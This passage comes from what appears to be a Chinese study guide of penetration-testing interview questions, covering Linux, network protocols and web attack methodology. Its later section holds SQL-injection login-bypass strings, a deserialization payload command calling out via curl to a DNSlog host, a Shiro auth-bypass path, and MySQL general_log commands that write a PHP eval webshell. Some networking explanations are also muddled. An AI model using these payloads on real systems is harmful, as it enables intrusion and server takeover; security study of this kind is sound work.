路径7:/var/log/wtmp:记录每个用户登录、注销及系统启动和停机事件

路径8:/var/log/btmp:记录失败的、错误的登录尝试及验证事件

十七、简述一下 linux 三剑客

grep

awk

Sed

十八、Linux 的发行版本有哪些?

Ubuntu Centos Debian 等等

十九、说一下 Linux 启动项的路径

/etc/rc.local

/etc/init.d

写系统服务文件,添加到系统服务,使用systemd和systemctl管理 systemctl enable nginx.service

二十、说一下 Linux 定时任务命令

crontab [-u user] file crontab [-u user] [ -e | -l | -r ]

  • -u user:用来设定某个用户的crontab服务;
  • file:file是命令文件的名字,表示将file做为crontab的任务列表文件并载入crontab。如果在命令行中没有指定这个文件,crontab命令将接受标准输入(键盘)上键入的命令,并将它们载入crontab。
  • -e:编辑某个用户的crontab文件内容。如果不指定用户,则表示编辑当前用户的crontab文件。
  • -l:显示某个用户的crontab文件内容,如果不指定用户,则表示显示当前用户的crontab文件内容。
  • -r:从/var/spool/cron目录中删除某个用户的crontab文件,如果不指定用户,则默认删除当前用户的crontab文件。
  • -i:在删除用户的crontab文件时给确认提示。

二十—、Linux 日志存放位置是在哪个文件夹下?

/var/log

二十二、说一下 linux 操作系统指令

https://www.runoob.com/linux/linux-command-manual.html

二十三、 Linux 与 window 共享文件怎么操作?

smb 或者 scp 或者 nas

二十四、Linux 的网卡文件默认地址在哪?删除 Windows 共享怎么操作?

二十五、apache 密码文件叫什么?

二十六、Linux 挂载文件怎么操作?
二十七、Linux 的/etc 下的文件有哪些?
二十八、Linux 用进程定位病毒文件怎么搞?
二十九、说一下 Linux 监听本机端口的命令以及关机命令
三十、linux 的账户密码在哪个文件夹?

三十—、linux 搭建网站用什么中间件以及网站默认路径在哪? Windows 怎么搭建网站?
三十二、拿到一个 Linux 可访问权限,会怎么做?
三十三、Linux 或者 Windows 的安全基线做过吗?
三十四、linux 的密码文件存放在哪里?
三十五、Linux 保存日志在哪个路径?
三十六、你知道 linux 的msf 模块有哪些攻击命令?
三十七、cs 怎么上线 Linux 服务器?

第三章 协议

一、说说 https、 http 区别是什么? 了解 tcp/ip吗?说说各层协议 get 和 post 区别?

HTTPS 是支持加密和验证的HTTP。 两种协议的唯一区别是HTTPS 使用TLS (SSL) 来加密普通的HTTP 请求和响应,并对这些请求和响应进行数字签名

SSL TLS
SSL是安全套接字层的缩写。 TLS是传输层安全的缩写。
网景公司在1995年创建了SSL。 互联网工程任务组(IETF)在1999年首次开发了TLS。
有三个版本。SSL 1.0SSL 2.0,SSL 3.0. 有四个版本。TLS 1.0TLS 1.1TLS 1.2TLS 1.3
在所有版本的SSL中,都发现了漏洞,并且都已被废弃。 从2020年3月开始,TLS 1.0和1.1将不再被支持。在大多数情况下,使用TLS 1.2。
网络服务器和客户端使用SSL进行安全通信,SSL是一种使用明确连接的加密协议。 使用TLS,网络服务器和客户端可以通过隐性连接进行安全通信。TLS已经取代了SSL。

握手协议+记录协议

  1. 握手协议包括:
  • 握手:证书认证、协商算法和密钥;
  • 密码规格变更协议:v1.3删除了;
  • 警告协议: 错误的时候通知对方;
  • 应用数据协议: 传输数据协议;
  1. 记录协议:负责使用对称密码对消息进行加密;

img

get和post区别:

GET在浏览器回退时是无害的,而POST会再次提交请求。
GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。
GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
GET请求在URL中传送的参数是有长度限制的,而POST没有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
GET参数通过URL传递,POST放在Request body中

请求方式

GET 请求指定的页面信息,并返回实体主体。

HEAD 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头

POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。

PUT 从客户端向服务器传送的数据取代指定的文档的内容。

DELETE 请求服务器删除指定的页面。

CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

OPTIONS 允许客户端查看服务器的性能。

TRACE 回显服务器收到的请求,主要用于测试或诊断。

请求头

1.Accpet

  • Accept: text/html 浏览器可以接受服务器回发的类型为 text/html。
  • Accept: */* 代表浏览器可以处理所有类型,(一般浏览器发给服务器都是发这个)。

2.Accept-Encoding

  • Accept-Encoding: gzip, deflate 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate),(注意:这不是只字符编码)。

3.Accept-Language

  • Accept-Language:zh-CN,zh;q=0.9 浏览器申明自己接收的语言。

4.Connection

  • Connection: keep-alive 当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。
  • Connection: close 代表一个Request完成后,客户端和服务器之间用于传输HTTP数据的TCP连接会关闭, 当客户端再次发送Request,需要重新建立TCP连接。

5.Host(发送请求时,该报头域是必需的)

  • Host:www.baidu.com 请求报头域主要用于指定被请求资源的Internet主机和端口号,它通常从HTTP URL中提取出来的。

6.Referer

  • Referer:https://www.baidu.com/?tn=62095104_8_oem_dg 当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。

7.User-Agent

  • User-Agent:Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 告诉HTTP服务器, 客户端使用的操作系统和浏览器的名称和版本。

8.Cache-Control

  • Cache-Control:private 默认为private 响应只能够作为私有的缓存,不能再用户间共享
  • `\Cache-Control:public** `**响应会被缓存,并且在多用户间共享。正常情况, 如果要求HTTP认证,响应会自动设置为 private.
  • Cache-Control:must-revalidate 响应在特定条件下会被重用,以满足接下来的请求,但是它必须到服务器端去验证它是不是仍然是最新的。
  • Cache-Control:no-cache 响应不会被缓存,而是实时向服务器端请求资源。
  • Cache-Control:max-age=10 设置缓存最大的有效时间,但是这个参数定义的是时间大小(比如:60)而不是确定的时间点。单位是[秒 seconds]。
  • Cache-Control:no-store在任何条件下,响应都不会被缓存,并且不会被写入到客户端的磁盘里,这也是基于安全考虑的某些敏感的响应才会使用这个。

9.Cookie

Cookie是用来存储一些用户信息以便让服务器辨别用户身份的(大多数需要登录的网站上面会比较常见),比如cookie会存储一些用户的用户名和密码,当用户登录后就会在客户端产生一个cookie来存储相关信息,这样浏览器通过读取cookie的信息去服务器上验证并通过后会判定你是合法用户,从而允许查看相应网页。当然cookie里面的数据不仅仅是上述范围,还有很多信息可以存储是cookie里面,比如sessionid等。

10.Range(用于断点续传)

  • Range:bytes=0-5 指定第一个字节的位置和最后一个字节的位置。用于告诉服务器自己想取对象的哪部分。
- connection 后面跟的参数是什么?有什么含义?

keep-alive和closer:Connection: keep-alive 当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接

Connection: close 代表一个Request完成后,客户端和服务器之间用于传输HTTP数据的TCP连接会关闭, 当客户端再次发送Request,需要重新建立TCP连接。

cookie针对无状态的http请求记录用户的一些状态,用于管理和相关设置,储存在客户端;因此可能造成欺骗等问题

session代表会话过程信息,在服务端保存,Session能够在web提供的服务中传递以保持会话过程,类似于接电话时候不断线,这种客户端的安全性比cookie高

实现的时候可以基于cookie和服务器端协商产生session,这个可以不向客户端透明

区别从 位置 存取内容 有效期 隐私保护 和 存储大小等方面

- http各个状态码

2 3 4 5

三、简述一下 tcp 三次握手过程应用层协议有哪些?

https://cloud.tencent.com/developer/article/2379266

四、简述 dns

作用把域名翻译成 IP 地址 :Domain Name System

img

五、简述 dns 解析过程

  1. 浏览器缓存检查

浏览器会首先搜索浏览器自身的 DNS 缓存,检查自身缓存中有没有被解析过的这个域名对应的ip地址,如果有,解析结束。同时域名被缓存的时间也可通过TTL属性来设置。

  1. 操作系统缓存检查 + hosts 解析

如果浏览器缓存中没有找到对应的条目,浏览器会检查操作系统缓存中有没有对应的已解析过的结果。而操作系统也有一个域名解析的过程。在windows中可通过c盘里一个叫hosts的文件来设置,Linux 中可以通过 /etc/hosts 文件来设置,如果你在这里指定了一个域名对应的ip地址,那浏览器会首先使用这个ip地址。

  1. 本地区域名服务器(Local DNS Server)解析

在我们的网络配置中都会有“DNS 服务器地址”这一项,如果至此还没有命中域名,才会真正的请求本地域名服务器(LDNS)来解析这个域名,这台服务器一般在你的城市的某个角落,距离你不会很远,并且这台服务器的性能都很好,一般都会缓存域名解析结果,大约80%的域名解析到这里就完成了。

  1. 如果LDNS仍然没有命中,就直接跳到Root Server 域名服务器请求解析
  1. 根域名服务器返回给LDNS一个所查询域的主域名服务器(gTLD Server,国际顶尖域名服务器,如.com .cn .org等)地址
  1. 此时LDNS再发送请求给上一步返回的gTLD
  1. 接受请求的gTLD查找并返回这个域名对应的Name Server的地址,这个Name Server就是网站注册的域名服务器
  1. Name Server 域名服务器会查询存储的域名和IP的映射关系表,正常情况下都根据域名得到目标IP记录,连同一个 TTL 值返回给 DNS Server 域名服务器
  1. LDNS缓存这个域名和对应的ip
  1. LDNS把解析的结果返回给用户,用户根据TTL值缓存到本地系统缓存中,域名解析过程至此结束

六、说一下 ip协议、 http 协议、 arp 协议工作原理

  1. IP协议:

  2. HTTP:

HTTP通信机制是在一次完整的HTTP通信过程中,Web浏览器与Web服务器之间将完成下列7个步骤:

  1. 建立TCP连接

  2. Web浏览器向Web服务器发送请求行

  3. Web浏览器发送请求头

  4. Web服务器应答

  5. Web服务器发送应答头

  6. Web服务器向浏览器发送数据

  7. Web服务器关闭TCP连接

  8. ARP:

  • 用于IP到MAC的寻址

七、说一下 Linux 根目录下 etc 下的 shadow 文件的作用

/etc/shadow 文件,用于存储Linux 系统中用户的密码信息,又称为“影子文件”。 早期的UNIX 密码放在/etc/passwd 文件中,由于该文件允许所有用户读取,易导致用户密码泄露,因此从/etc/passwd 文件中分离出来,并单独放到了此文件中。

shadow只有root可读写 其他用户不可访问

八、https 是什么架构?

应用层: HTTPS依然使用HTTP协议定义消息格式和请求方法,用于客户端与服务器之间交互。

传输层: TLS/SSL协议位于HTTP层之下,负责提供加密、身份验证和完整性保护等安全功能。

网络层: HTTPS使用TCP协议作为底层传输协议,确保数据包的可靠传输。

九、说一下三次握手,四次挥手详细过程

TCP的三次握手是为了建立可靠的连接,确保通信双方都能够正常发送和接收数据。下面是三次握手的过程:

  1. 第一次握手:客户端向服务器发送一个带有SYN标志的数据包,表示请求建立连接。客户端将随机生成一个初始序列号(ISN)并将其放入SYN字段中。
  2. 第二次握手:服务器接收到客户端的请求后,会发送一个带有SYN和ACK标志的数据包作为响应。服务器将确认序列号(ACK)设置为客户端的ISN加一,并生成自己的初始序列号。
  3. 第三次握手:客户端收到服务器的响应后,会发送一个带有ACK标志的数据包作为确认。客户端将确认序列号设置为服务器的ISN加一。

通过三次握手,双方确认了彼此的收发能力和初始序列号,并建立了可靠的连接。为什么是三次握手而不是两次或四次呢?

如果只有两次握手,那么在某些情况下可能会导致不可靠的连接建立。例如,客户端发送了一个建立连接的请求,但由于网络延迟或其他原因,该请求在传输过程中被延迟到达服务器。服务器此时会误认为客户端要建立连接,于是发送确认响应。然而,客户端并未发送过请求,因此不会回复确认。这样就会导致服务器一直等待客户端的回复,浪费资源。

通过引入第三次握手,可以解决上述问题。在第一次握手时,客户端发出建立连接的请求,服务器接收到后进行响应。但是如果响应丢失了,客户端会再次发送请求,即第二次握手。服务器接收到后再次响应,这样就确保了双方都能正确地建立连接。

至于为什么不是四次握手,主要是因为虽然四次握手也可以实现可靠地同步双方的初始序列号,但由于第二步和第三步可以合并为一步,所以最终演变成了三次握手。而两次握手只能保证一方的初始序列号被对方成功接收,无法保证双方的初始序列号都能被确认接收。因此,三次握手是为了确保TCP连接的稳定性和可靠性而采取的最佳选择。

TCP的四次挥手是为了结束已建立的连接,确保双方都能正确地关闭连接并释放资源。下面是四次挥手的过程:

  1. 第一次挥手:客户端发送一个带有FIN(结束)标志的数据包,表示自己已经没有数据要发送了,请求关闭连接。
  2. 第二次挥手:服务器接收到客户端的结束请求后,会发送一个带有ACK(确认)标志的数据包作为响应,表示已收到客户端的结束请求。
  3. 第三次挥手:服务器发送一个带有FIN标志的数据包,表示自己也没有数据要发送了,请求关闭连接。
  4. 第四次挥手:客户端接收到服务器的结束请求后,会发送一个带有ACK标志的数据包作为确认,表示已收到服务器的结束请求。

通过四次挥手,双方确认彼此的结束请求,并最终关闭连接。为什么是四次挥手而不是三次?

在关闭连接时,需要确保双方都完成了数据的传输和接收,以防止数据丢失或错误。如果只有三次挥手,可能会导致一些问题。

假设只有三次挥手,当客户端发送结束请求后,服务器收到后会发送确认,表示已收到客户端的结束请求。但是在此过程中,服务器可能还有未发送完的数据,如果直接关闭连接,那么这些数据就会丢失。因此,引入第三次挥手,服务器在发送结束请求前,先发送所有未发送完的数据,并等待客户端的确认。客户端接收到服务器的结束请求后,会确认并处理完未接收的数据,然后发送确认,表示自己已准备好关闭连接。

通过四次挥手,可以确保双方都能正确地结束连接,并处理未发送和未接收的数据,保证数据的完整性和可靠性。因此,关闭连接需要四次挥手。

十、说一下 tcp/ip 七层协议的数据传输,以及各层的工作原理

略了,看看笔记就行

十—、OSI七层模型有哪七层?arp 协议、ICMP 协议工作在哪一层?

ssh/ssl是有数字证书的,像ssh基本需要公钥或者一些口令,通过验证正确性来确定是否授权

而http本身没有加密,而且对于不同服务的情况可能需要cookie

这里主要的点在于cookie在ssh ssl和http的作用

十三、说一下二层交换机和三层交换机的区别?问二层交换和三层互联有什么区别?配置交换机使用的是什么?二层和三层交换机的区别

二层交换机可以识别数据包中的MAC地址,根据MAC地址进行转发,并将这些MAC地址与对应的端口记录在自己内部的一个地址表中。二层交换机不遵循路由算法。

三层交换机转发基于目标 IP 地址,数据包的目的地是定义的下一跳,三层交换机遵循路由算法。

二层交换机只能在同一个广播域内进行数据帧的转发,不能跨越不同的广播域或子网;三层交换机可以在不同的广播域或子网之间进行数据包的转发,实现网络互联

配置交换机使用的是什么:Console口?

十四、二层交换机和三层交换机分别有哪些协议?说一下RIP和 OSPF 建立邻居关系过程

二层交换机支持物理层和数据链路层协议PPPOE Wifi等,而三层交换机支持物理层、数据链路层及网络层协议

RIP:距离向量,向已知主机发送请求,然后会更新自己的RIP表,RIP表有Metric域,更新一下

OSPF:SPF (Dijkstra)中心扩散找最短路径

十五、Ospf 协议是干什么的?dhcp 协议是干什么的?地址转换协议有了解吗?说一下 Arp 协议

路由寻址协议

DHCP:动态主机配置

NAT

ARP

十六、说一下 https 构建连接后,传输 post 数据的过程

HTTPS 构建连接后,传输 POST 数据的过程主要可以分为以下几个步骤:

1. 客户端发起 HTTPS 请求

  • 客户端首先向服务器发起一个 HTTPS 请求,该请求通常包含以下信息:
    • 请求方法:POST
    • 请求目标:要访问的资源路径
    • 请求头:包含一些有关请求的信息,例如 Content-Type、Content-Length 等
    • 请求体:POST 方法需要发送的数据

2. 服务器响应客户端请求

  • 服务器收到客户端的 HTTPS 请求后,会进行以下处理:
    • 解析请求头和请求体,获取请求信息
    • 处理请求并生成响应数据
    • 向客户端发送 HTTPS 响应,该响应通常包含以下信息:
      • 响应状态码:表示请求处理的结果
      • 响应头:包含一些有关响应的信息,例如 Content-Type、Content-Length 等
      • 响应体:服务器要发送给客户端的数据

3. 数据传输

  • 客户端和服务器之间的数据传输是通过TCP协议进行的。TCP 协议会将数据分割成一个个数据包,并按照顺序进行传输。
  • 在 HTTPS 中,数据传输是加密的。这意味着数据在传输过程中不会被窃听或篡改。
  • 数据传输完成后,TCP 协议会确认数据是否已经成功传输。

4. 关闭连接

  • 在数据传输完成后,客户端和服务器会关闭连接。

以下是一些具体的细节:

  • 在 HTTPS 构建连接时,客户端和服务器会使用 TLS/SSL 协议进行握手,以建立安全通道。
  • POST 请求的数据通常是表单数据或JSON数据。
  • 服务器对 POST 请求的处理可能涉及到数据库操作或其他复杂的操作。
  • HTTPS 响应的 Content-Type 头通常会指示响应数据的类型,例如 text/html、application/json 等。

十七、说一下 LINUX 提权,脏牛提权,sudo 滥用,suid提权动态路由怎么配置?

脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大。

脏牛提权复现以及如何得到一个完全交互的shell - 先知社区(PDF)

exp地址:https://github.com/FireFart/dirtycow

十八、单臂路由的配置场景是什么? https 安全在哪?

https://juejin.cn/post/7073432462793605157 什么是单臂路由器?如何配置单臂路由? - 掘金

场景:中小企业,对网络安全要求不是很高,网络请求频率和带宽没有很大

HTTPS:https://xie.infoq.cn/article/32824c8787fcd7b126244d90c

安全在哪:有证书,在传递信息时候通过证书能保证对面的真实身份

十九、ospf 有了解过吗?RIP 协议了解吗?SSL 是什么?

同上

二十、了解 sstp 吗?

安全套接字隧道协议,基于SSL/TLS协议,利用TCP端口443来传输数据。它通过在用户计算机和VPN服务器之间建立加密的隧道

二十一、说一下 netstat -ano 的意义

netstat -ano 命令详解

netstat -ano命令用于显示Linux系统上的活动网络连接、路由表信息、接口统计信息、伪装连接、多播成员以及TCP/UDP统计信息。

命令解析:

  • netstat:命令名称,用于显示网络信息。
  • -a:指示netstat显示所有活动网络连接,包括处于侦听状态的连接。
  • -n:指示netstat显示数字地址和端口号,而不是主机名。
  • -o:指示netstat显示每个连接的额外信息,例如连接所属进程的进程 ID (PID)、连接状态以及接收和发送队列。

二十二、UA 头是干什么的?

User-Agent 请求标是一个特征字符串,使得服务器和对等网络能够识别发出请求的用户代理的应用程序、操作系统、供应商或版本信息

针对不同的UA提供不同样式的前端/服务/界面

第四章 渗透测试

一、渗透最后的一步是什么?(他说是漏洞复测(我不知道

我觉得是清理渗透痕迹(如果有必要)和写报告,整理相关资料打包记录POC和流程

二、有没有形成自己的渗透流程习惯?讲述一下信息泄露有哪些渠道收集?

整理材料

  • shodan

  • fofa

  • zoomeye

  • 一些网站

  • github

  • 论坛(棱角和52)

    1. 信息收集的作用:
      最了解的你人,往往都是你对手。知己知彼、百战不殆。
      当你所掌握到的信息比别人多就更详细的时候那么你就占据了先机
      这一条不仅仅是用于商业、战争、在渗透测试中也使用。
      渗透测试的核心是什么–漏洞

    2. 信息收集方向,信息收集究竟收集什么?信息收集究竟需要什么?为什么要收集这些?

      • whois信息: whois指的是域名注册时留下的信息,比如留下的管理员姓名、电话、邮箱
      • 为什么要收集whois: 域名注册人可能是网站管理源、可以尝试社工、套路、查询是不是注册了其他域名扩大攻击范围
        子域名(一般都是在同一内网、或者同一个机器、属于同一个信息)
      • 什么是子域名?
        顶级域名下的二级域名或者三级甚至更多级的域名都属于子域名,这游戏以恶直接ip访问的web站我也归结于子域名收集范围。
      • 为什么要收集?
        子域名可以扩大攻击范围,同一个域名下的二级域名都属于相同的资产一般而言都有关联
      • 端口探测 (Nmap)
      • 为什么要端口探测?
        有些危险端口开放了我们就可以尝试入侵、比如445、3306、22、433、6379、可以尝试爆破或者用那些端口存在漏洞的服务。而且有可能一台服务器上面于不同端口代表着不同的web网站、
      • 目录扫描 (御剑、kail用dirbuster)
      • 为什么要目录扫描?
        有一些网站可能摸个目录下是一个新的网站、有时候目录扫描直接下载了压缩包源码、编辑器目录、
        和依稀废弃的页面 比如有些管理员会直接上源码.zip 到时候就白盒审计。
    3. 指纹识别(云悉)
      为什么要指纹识别?
      云悉:云悉
      微步社区:微步
      cms(内容管理系统===快速搭建网站的源码)可能存在一个通杀漏洞、如果使用了cms建站我们可以用通杀漏洞直接攻击

    4. 旁站查询
      外部防御如虎、内部防御如鼠
      为什么要查询旁站?
      旁站就是在同一个ip上面有多个网站,如果你拿下旁站,运气好的花和主战在同一个机器上,是不是就拿到了主战?运气不好是一个内网,我们就可以尝试内网渗。

    5. c段扫描(公网ip)
      什么是c段扫描?为什要扫描
      比如192.168.1.1-255 都属于同一个c段,有些学校或者大公司,他们会有整个ip段
      这个ip段所有的都是公司的资产,拿下一台可用的信息,可能在同一个内网渗透

    6. 内容敏感信息泄漏
      尝试谷歌语法
      三、巧用网络空间搜索引擎
      钟馗之眼:钟馗
      shodan:shodan
      fofa:fofa

三、给你一个公司名怎么做信息收集?说一下信息收集的思路

看官网,找资产

whois,看老板旗下的其他网站

旁站,子域名

信息收集主要是积累

四、说一下信息搜集中最重要的点是什么?信息收集除了 fofa外还能怎么收集?怎么对域做信息收集?用到哪些工具?给一个单点登录页面,怎么渗透?

最重要的应该是目标站相关信息的确定,如果能确定目标资产的各类架构和其他信息,往往能利用很多其他的已知信息,毕竟直知道的越多(死的越快)

这里包括的各类网站(资产)以及对应的指纹

信息收集道道之外网信息收集_gitdorker 扫描公司外泄漏的的敏感代码 信息等-CSDN博客(PDF)

- 给一个单点登录页面,怎么渗透

https://m.freebuf.com/articles/web/356780.html

  • 接口

  • 未授权

  • 爆破

  • 目录

  • F12大法好,看前端代码

  • 看js fuzz

  • 逻辑漏洞

  • SQL等

  • 1.1 明文传输/不安全的加密算法/用户名可枚举/爆破弱口令/验证码绕过

    这几个就放一起了,总结起来就俩字爆破

    • 明文传输/不安全的加密算法: 看似人畜无害的漏洞却给暴力破解带来了可能性
    • 用户名枚举: 又给爆破增加了成功率 这里要注意的一点是 有的站点的回显只有一点点不同 比如: (用户名或密码错误–用户名/密码错误) (都2077年了,不会还有站老老实实告诉你用户名不存在吧)
    • 验证码绕过: 验证吗不刷新 (这种就是纯摆设验证码);万能验证码 (如8888,0000一般为开发者为了测试方便设置的); 验证吗回显 (有的网站验证码会回显到前端,只需要抓包即可获得验证码);验证码识别(实在是绕不过去还有这最后一个方法 这里附上我常用的bp验证码识别插件 https://github.com/smxiazi/NEW_xp_CAPTCHA
    • 社工字典: 推荐一个小工具,可以根据收集到的信息生成针对性较强的密码
    1
    https://github.com/jx4321/genpass

    1.2 SQL注入

    直接在登录框存在sql注入的站越来越少了,不过还是要测一测的 会有惊喜发生的呦

    • 万能密码: 这无疑是最简单也是最好用的sql注入,若存在此漏洞可直接绕过登录访问系统内部资源(随着对安全这种情况越来越少,入职来只遇到过一次) 常见万能密码如下:
    1
    2
    3
    4
    5
    or 1=1--
    'or 1=1--
    a'or' 1=1--
    "or 1=1--
    ...... (可直接放到枚举用户名的字典里顺便一起跑了)
    • 登录框sql注入: 这种应该比万能密码更少见,但是理论上也存在(比如开发时只对万能密码进行了过滤,过滤不全)可以通过加特定字符来测试是否存在 如'``"``#

    1.3逻辑漏洞

    测试登陆页面是否存在逻辑漏洞 如:任意密码重置,任意账号注册,短信(邮件)轰炸等

    • 任意密码重置: 一般存在与先验证身份 下一步 重置密码(修改密码)的系统;或验证码与手机号不绑定的系统

    • 任意账户注册:漏洞原理基本与任意密码重置相同,验证码未与手机号绑定或验证码可爆破

    • 短信(邮箱)轰炸: 未对发送间隔,一段时间内发送最大数量做服务端验证,抓包后不断重返即可,若做了一定防护可添加空格``+86等进行绕过, 下图以邮箱轰炸为例

    • 修改Respos返回信息:Response状态值,就是在服务器发送某个密码重置的凭据之后,出现特定的响应值,对Response状态值修改后,如果存在校验不严(存在逻辑漏洞),并且回显值得校验是在客户端进行,就能使相关操作成功被执行

    1.4框架漏洞

    • shiro/log4j/fastjson 反序列化: 这三个反序列化漏洞影响实在是太广了,前两年hw特别常见,这里就推荐几个bp的扫描插件吧(几乎不用手动测 全靠插件)

    https://github.com/EASY233/BpScan(可被动扫描log4j,fastjson反序列化漏洞)
    https://github.com/pmiaowu/BurpShiroPassiveScan(用来扫描shiro反序列化)

下图为fastjson反序列化漏洞

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "curl aaa.dw7b1h.dnslog.cn"

将生成的payload替换请求包中的execution参数发送即可

  • shiro权限绕过: 在路由中拼接/;

    复现靶场 https://github.com/l3yx/springboot-shiro
    如果直接访问 /test/admin/page ,会返回302跳转要求登录)
    但是访问/;/test/admin/page , 就能直接绕过 Shiro 权限验证,访问到 /admin 路由中的信息

  • cms漏洞: 可借助指纹识别系统判断站点是否为cms搭建,如果是可借助漏洞库查询历史公开漏洞进行测试 下面推荐几个常用的地址

    1
    2
    3
    http://finger.tidesec.net/(潮汐在线指纹识别)
    http://wiki.peiqi.tech/(peiqi文库(漏洞库),先查这个复现过程非常详细)
    https://avd.aliyun.com/(阿里云漏洞库,peiqi文库查不到再差这个)

1.5 js相关

  • 禁用js: 部分站点会先跳转到类似/admin/index.html的页面,然后检测到未登录会再跳转到/login.html对于这种我们可以禁用 javascript 测试,会有意想不到的发生
  • 查看js代码: js代码中经常会泄露有趣的东西,这里再推荐一下 FindSomething 这个插件可以快速地发现js中重要信息 下图为js泄露了用户名密码

1.6 未授权

可以借助dirsearch工具进行目录扫描

  • 无需登录即可访问的页面
  • api接口文档: 越来越多的网站采用前后端分离来开发,开发完成后api接口文档可直接访问,扫描到api接口文档后可根据文档构造请求包进行测试

1.7 jwt相关

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准.该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录

  • 爆破密钥: 这里推荐使用jwt_tool工具,字典不用太大爆个top1k/top1w的就差不多了 出不出随缘

    1
    https://github.com/ticarpi/jwt_tool

五、后渗透这块有没有接触过?

https://www.jianshu.com/p/f7bcead801d5

后渗透阶段总结(提权+信息收集+内外渗透+后门) - 简书(PDF)

六、给你一个后台登录的账号密码,你能做什么?渗透测试的时候你觉得应该注意什么?

前言

前不久的一次授权测试中,感觉缺少任何一步都无法达到getshell的目的,单个漏洞看得话确实平平无奇,但是如果组合起来的话也许会有意想不到的化学效应。

前期测试

拿到这个站的时候一眼就看见了会员登录界面,一开始想着注册,但是觉得会员功能应该很少,没验证码啥的,万一后台管理员也是会员呢那岂不是要是爆破出来了可以去后台尝试一波。
显示的是手机号登录,但是可以尝试下admin,千万不要被他的前台迷惑了。很巧的是可以进行用户名枚举,而且还存在admin账号,不爆破都对不起他

字典呢用的是鸭王的字典,爆破神器,用这个字典爆破出来过不少站点(https://github.com/TheKingOfDuck/fuzzDicts), 这次也很幸运,爆破出来了

拿到后台去登录下,管理员确实喜欢采用同样的密码,登录进去了。看到后台可以自定义上传的后缀心里想可以愉快的交差了,增加后缀php,找上传一条龙getshell。

当我看到上传图片的编辑器的时候我感觉事情并不是那么简单,果不其然那个增加后缀不起作用
后台发现是thinkcmf建站系统,网上搜索能利用的漏洞,看到一个漏洞集合(https://www.hacking8.com/bug-web/ThinkCMS/ThinkCMF%E6%BC%8F%E6%B4%9E%E5%85%A8%E9%9B%86%E5%92%8C.html) 挨个去尝试下无果,继续搜索(https://www.freebuf.com/vuls/217586.html), 基本上能尝试的都payload都试了试,应该是版本高漏洞修复了或者利用方式不太对,反正是没利用成功。有的方法对网站有破坏性,我要是试了不得被打死呀。既然到现在无法getshell,那就尝试找找漏洞吧,领导说的好如果无法getshell就多找漏洞,听领导的总没有错。

进阶阶段

在一开始打开网站的时候,由于安装了谷歌插件sensinfor(t00ls上发现的),可以初步探测网站的敏感目录,比如备份文件,phpmyadmin,phpinfo等等,在一开始就探测出存在phpinfo,获取了网站的绝对路径

常规用nmap探测下开放的端口,发现对外开放了3306端口,有绝对路径了,不抱希望的去爆破下3306吧,反正我是没爆破出几个3306的密码,用下超级弱口令检查工具,字典接着用鸭王的吧,谁知道是字典强大还是运气爆破,话说这个不算弱口令,只能说字典里有这个密码吧,只要字典存在的就是弱密码,没有错。
接下来就是常规操作了,试下log写日志吧

1
2
3
4
show variables like '%general%';  查看日志状态
SET GLOBAL general_log='on' 开启日志读写
SET GLOBAL general_log_file='xxx.php' 指定日志路径
SELECT '<?php eval($_POST["cmd"]);?>' 写日志进xxx.php

其他漏洞

基于负责任的态度也发现了 一些其他的漏洞,不过相对来说危害性不大吧,但是如果在写测试报告的时候如果没得写也是可以写上的。

登录IP伪造

这个后台一般都有记录用户登录IP的习惯,但是如果记录IP的时候选取的是x-forward-for构造的IP,这样攻击者是可以伪造登录IP的,如果没有对IP的合法性进行校验,构造一个XSS payload触发存储型XSS这也不是没可能,在测试的时候就遇到过几次,后台记录会员登录IP的地方存在存储型XSS

](https://xzfile.aliyuncs.com/media/upload/picture/20211108120525-19f34a54-4049-1.png)
不过这里美中不足的是后台对IP的合法性进行了校验,如果是不合法的IP会被重置为0.0.0.0

越权漏洞

登录后发现管理员没办法对自己进行操作,这很尴尬,管理员都没办法更改自己的信息
很简单的办法随便找个可以进行更改的链接,更改url实现修改管理员信息,按照经验这种限制管理员更改自己信息的情况我遇到的很多都是前端限制了。
然后会弹出详情页面,可以进行修改操作,这里修改下会员等级把自己从普通会员变成VIP吧,一个管理员怎么能是普通会员呢
](https://xzfile.aliyuncs.com/media/upload/picture/20211108121357-4b54d4b8-404a-1.png)
总结

1.对目标站点管理员后台输入admin账号,密码任意,显示密码错误,则admin 账号存在

2.通过 bp的intruder功能对admin账号进行爆破,密码字典选用fuzzDicts字典

(https://github.com/TheKingOfDuck/fuzzDicts),可成功爆破。

3.进入后台后,在图片上传存在文件上传,但是上传处目标站点已进行白名单限制,不能上传一句话。

4.通过云蟋对目标站点进行cms指纹探测,发现是thinkcm系统,测试几个历史漏洞,但无果。

16.通过谷歌浏览器插件sensinfor进行信息探测,发现存在phpinfo.php,这里显示了网站的绝对路径

17.通过namp对目标站点的IP进行扫描,发现存在3306端口

18.通过超级弱口令工具对目标站点的3306端口进行爆破,最终成功爆破密码。

19.通过navicat远程连接目标站点mysql,在SQL命令终端处,通过log日志记录写入一句话

show variables like ‘%general%’; 查看日志状态

